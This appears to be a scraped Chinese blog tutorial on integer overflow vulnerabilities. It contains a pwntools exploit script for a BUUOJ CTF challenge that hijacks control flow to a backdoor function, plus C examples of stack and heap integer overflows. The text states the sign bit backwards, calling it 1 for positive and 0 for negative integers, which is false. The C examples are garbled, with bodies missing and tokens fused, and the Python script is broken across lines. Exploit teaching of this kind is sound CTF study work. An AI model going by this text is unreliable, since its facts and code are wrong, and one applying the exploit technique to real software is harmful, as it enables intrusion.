整數分為有符號和無符號兩類,有符號數以最高位作為符號位,正整數最高位為1,負整數最高位為0,不同型別的整數在記憶體中有不同的取值範圍,unsigned int = 4位元組,int = 4位元組,當儲存的數值超過該型別整數的最大值就會發生溢位。
在一些有符號和無符號轉換的過程中最有可能發生整數溢位漏洞。
基於棧的整型溢位
以例子來說明
例1:基於棧的整型溢位利用
圖中的位元組應該改為字長
v3的位元組長度為1 ,所以取值為0-2^8也就是0-255
當v3的取值大於255發生整型溢位時,v3=256實際上時v3=0,v3=257時實際上是v3=1,依次類推。
此題中v3的值是我們輸入的buf字串,後面的if語句會判斷它的值,如果在4-8之間才會執行下面的return語句將我們輸入的字元傳給dest
所以我們將輸入的字元長度設定為長度為260-264之間就可以。
dest距離ebp17個位元組,所以我們需要在輸入的第17+4=21個位元組開始輸入後門函式的位址,之後再補全字元到長度為260-264之間即可。
指令碼如下:
from pwn import
*io=remote(
'node3.buuoj.cn'
,25414
)elf=elf(
'./r2t3'
)system =
0x804858b
payload =
(cyclic(17+
4)+p32(system)
).ljust(
262,b'a'
)io.recv(
)io.sendline(payload)
io.interactive(
)
例2 **講解#include
"stdio.h"
#include
"string.h"
intmain
(int argc,
char
*ar**)
**中size變數是無符號短整型,取值範圍是0~65535,輸入的值大於65535就會發生溢位,最後得到size為4,這樣會通過邊界檢查,但是用memcpy複製資料的時候,使用的是int型別的引數i,這個值是輸入的65540,就會發生棧溢位:
基於堆的整型溢位
例子:**簡單講解
#include
"stdio.h"
#include
"windows.h"
intmain
(int argc,
char
* ar**)
heapfree
(hheap,
0, pheap1)
;heapfree
(hheap,
0, pheap2)
;return0;
}
**中的size是unsigned short int型別,當輸入小於5,size減去5會得到負數,但由於unsigned short int取值範圍的限制無法識別負數,得到正數65533,最後分配得到過大的堆塊,溢位覆蓋了後面的堆管理結構:
堆的整型溢位漏洞利用
後續更新
漏洞分析 二進位制漏洞
二進位制漏洞 傳統的緩衝區溢位 uaf use after free 等涉及二進位制編碼的漏洞統稱為二進位制漏洞 根據緩衝區所處的不同記憶體空間以及分配方式的不同,緩衝區溢位可以分為棧溢位和堆溢位 棧溢位原理 棧是一種基本的資料結構,是由編譯器自動進行分配 釋放的。棧遵循先進後出的規則,生長方向為從...
二進位制漏洞挖掘 windows漏洞利用如何快速入門
windows二進位制安全研究,漏洞利用是提現乙個人段位的名片。windows二進位制漏洞入門包含了。1.簡單棧溢位利用 2.gs保護繞過利用。包含 攻擊seh繞過gs 攻擊虛函式表繞過gs 3.aslr保護繞過利用。包含 部分覆蓋繞過aslr heap spy 繞過aslr。4.dep保護繞過。r...
星火 二進位制漏洞利用培訓
信安出征,寸草不生。世界萬物皆可pwn,除非你內力不夠深厚,pwn不是你成為武林高手的唯一路徑,但絕對是你闖蕩江湖的武林秘籍。ctf pwn只是乙個起點,希望對pwn 感興趣的童鞋不要只侷限於pwn,因為你學習pwn的時候,也許你覺得這是玄學,建議積極的探索未知的領域,找到那些可以讓你感興趣的地方,...